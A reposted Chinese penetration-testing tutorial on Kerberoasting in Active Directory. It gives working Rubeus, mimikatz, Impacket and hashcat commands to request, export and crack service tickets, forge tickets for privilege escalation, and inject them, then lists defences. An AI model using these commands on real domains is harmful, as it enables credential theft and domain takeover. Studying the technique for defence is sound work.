内网渗透(四) | 域渗透之Kerberoast攻击

2022-01-19 19:56:02 浏览数 (2)

以下文章来源于安全加 ,作者谢公子

作者:谢公子

CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。

Kerberoast攻击

kerberoast攻击发生在kerberos协议的TGS_REP阶段,关于kerberos协议详情,传送门:内网渗透 | 域内认证之Kerberos协议详解

Kerberoast攻击过程:

1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证 ,该TGT认购权证用于以后的ST服务票据请求。

2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。

3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。

4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

SPN服务主体名称的发现

传送门:域渗透之SPN服务主体名称

请求服务票据

使用Rubeus请求

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

代码语言:javascript复制
Rubeus.exe kerberoast

powershell命令请求

请求指定SPN的服务票据

代码语言:javascript复制
#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"
#列出服务票据
klist

mimikatz请求

请求指定SPN的服务票据

代码语言:javascript复制
#请求服务票据
kerberos::ask /target:MySQL/win7.xie.com:3306 
#列出服务票据
kerberos::list  
#清除所有票据
kerberos::purge

Impacket中的GetUserSPNS.py请求

该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。

代码语言:javascript复制
./GetUserSPNs.py -request -dc-ip 192.168.10.131 xie.com/hack

导出服务票据

先查看票据

可以使用以下的命令

代码语言:javascript复制
klist
或
mimikatz.exe "kerberos::list"

MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list

mimikatz导出

代码语言:javascript复制
mimikatz.exe "kerberos::list /export" "exit"

执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件

Empire下的Invoke-Kerberoast.ps1

导出Hashcat格式的票据

代码语言:javascript复制
Import-Module .Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

离线破解服务票据

kerberoast中的tgsrepcrack.py

代码语言:javascript复制
python2 tgsrepcrack.py password.txt xx.kirbi

tgscrack

代码语言:javascript复制
python2 extractServiceTicketParts.py 1-40a00000-hack@MySQL~win7.xie.com~3306~MySQL-XIE.COM.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist password.txt

Hashcat

将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下

代码语言:javascript复制
hashcat64.exe -m  13100  hash.txt  pass.txt

服务票据重写&RAM注入

ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

代码语言:javascript复制
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。

代码语言:javascript复制
kerberos::ptt PENTESTLAB.kirbi

Kerberoast攻击防范

  • 确保服务账号密码为强密码(长度、随机性、定期修改)
  • 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验 tgsrepcrack.py来破解密码。
  • 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
  • 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。
  • 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。

0 人点赞